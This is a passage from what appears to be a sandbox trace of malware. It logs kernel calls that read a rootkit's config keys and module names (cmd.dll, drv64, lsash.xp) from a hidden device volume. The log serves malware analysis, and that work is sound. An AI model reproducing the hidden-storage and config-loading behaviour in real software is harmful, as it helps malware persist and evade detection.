(_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.625] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.625] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.626] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.626] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.626] KeLeaveCriticalRegion () [0123.626] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.626] ReleaseMutex (hMutex=0x100) returned 1 [0123.626] Sleep (dwMilliseconds=0x2bf20) [0123.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ce288b0, dwHighDateTime=0x1d24fa4)) [0123.632] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.632] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.632] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.632] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.632] KeEnterCriticalRegion () [0123.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.632] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.632] IdePortDispatch () returned 0x103 [0123.632] KeWaitForMutexObject () returned 0x0 [0123.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.632] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.632] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.632] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.632] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.632] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec720 [0123.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.632] KeLeaveCriticalRegion () [0123.632] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.632] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.632] KeEnterCriticalRegion () [0123.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.632] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.633] KeLeaveCriticalRegion () [0123.633] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.633] KeEnterCriticalRegion () [0123.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.633] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.633] IdePortDispatch () returned 0x103 [0123.633] KeWaitForMutexObject () returned 0x0 [0123.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.633] KeLeaveCriticalRegion () [0123.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.633] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.633] KeEnterCriticalRegion () [0123.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.633] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e6000 [0123.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.633] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.633] IdePortDispatch () returned 0x103 [0123.633] KeWaitForMutexObject () returned 0x0 [0123.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.633] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.633] IdePortDispatch () returned 0x103 [0123.634] KeWaitForMutexObject () returned 0x0 [0123.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.634] KeLeaveCriticalRegion () [0123.634] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.634] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.634] KeEnterCriticalRegion () [0123.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.634] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.634] KeLeaveCriticalRegion () [0123.634] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.634] KeEnterCriticalRegion () [0123.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.634] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.634] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec7e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.634] KeLeaveCriticalRegion () [0123.634] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.634] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.634] KeEnterCriticalRegion () [0123.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.634] ExFreePoolWithTag (P=0xfffffa8003bec720, Tag=0x0) [0123.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.635] KeLeaveCriticalRegion () [0123.635] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.635] ReleaseMutex (hMutex=0xf0) returned 1 [0123.635] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.635] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.635] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.635] KeEnterCriticalRegion () [0123.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.635] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.635] IdePortDispatch () returned 0x103 [0123.635] KeWaitForMutexObject () returned 0x0 [0123.635] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.635] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.635] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.635] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.635] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.635] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedcb0 [0123.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.635] KeLeaveCriticalRegion () [0123.635] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.635] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.635] KeEnterCriticalRegion () [0123.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.635] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.635] KeLeaveCriticalRegion () [0123.635] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.635] KeEnterCriticalRegion () [0123.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.635] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.635] IdePortDispatch () returned 0x103 [0123.636] KeWaitForMutexObject () returned 0x0 [0123.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.636] KeLeaveCriticalRegion () [0123.636] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.636] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.636] KeEnterCriticalRegion () [0123.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.636] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e7000 [0123.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.636] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.636] IdePortDispatch () returned 0x103 [0123.636] KeWaitForMutexObject () returned 0x0 [0123.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.636] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.636] IdePortDispatch () returned 0x103 [0123.636] KeWaitForMutexObject () returned 0x0 [0123.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.637] KeLeaveCriticalRegion () [0123.637] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.637] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.637] KeEnterCriticalRegion () [0123.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.637] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.637] KeLeaveCriticalRegion () [0123.637] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.637] KeEnterCriticalRegion () [0123.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.637] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.637] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bedd70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.637] KeLeaveCriticalRegion () [0123.637] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.637] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.637] KeEnterCriticalRegion () [0123.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.637] ExFreePoolWithTag (P=0xfffffa8003bedcb0, Tag=0x0) [0123.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.637] KeLeaveCriticalRegion () [0123.637] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.637] ReleaseMutex (hMutex=0xf0) returned 1 [0123.637] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.637] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.638] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.638] KeEnterCriticalRegion () [0123.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.638] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.638] IdePortDispatch () returned 0x103 [0123.638] KeWaitForMutexObject () returned 0x0 [0123.638] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.638] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.638] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.638] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.638] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.638] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becf00 [0123.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.638] KeLeaveCriticalRegion () [0123.638] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.638] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.638] KeEnterCriticalRegion () [0123.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.638] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.638] KeLeaveCriticalRegion () [0123.638] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.638] KeEnterCriticalRegion () [0123.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.638] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.638] IdePortDispatch () returned 0x103 [0123.638] KeWaitForMutexObject () returned 0x0 [0123.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.639] KeLeaveCriticalRegion () [0123.639] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.639] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.639] KeEnterCriticalRegion () [0123.639] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.639] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e8000 [0123.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.639] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.639] IdePortDispatch () returned 0x103 [0123.639] KeWaitForMutexObject () returned 0x0 [0123.639] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.639] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.639] IdePortDispatch () returned 0x103 [0123.639] KeWaitForMutexObject () returned 0x0 [0123.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.639] KeLeaveCriticalRegion () [0123.639] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.640] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.640] KeEnterCriticalRegion () [0123.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.640] KeLeaveCriticalRegion () [0123.640] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.640] KeEnterCriticalRegion () [0123.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.640] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.640] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.640] KeLeaveCriticalRegion () [0123.640] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.640] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.640] KeEnterCriticalRegion () [0123.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.640] ExFreePoolWithTag (P=0xfffffa8003becf00, Tag=0x0) [0123.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.640] KeLeaveCriticalRegion () [0123.640] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.640] ReleaseMutex (hMutex=0xf0) returned 1 [0123.640] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.640] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.640] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.640] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.640] KeEnterCriticalRegion () [0123.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.640] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.640] IdePortDispatch () returned 0x103 [0123.641] KeWaitForMutexObject () returned 0x0 [0123.641] _strnicmp (_Str1="cfg.ini", 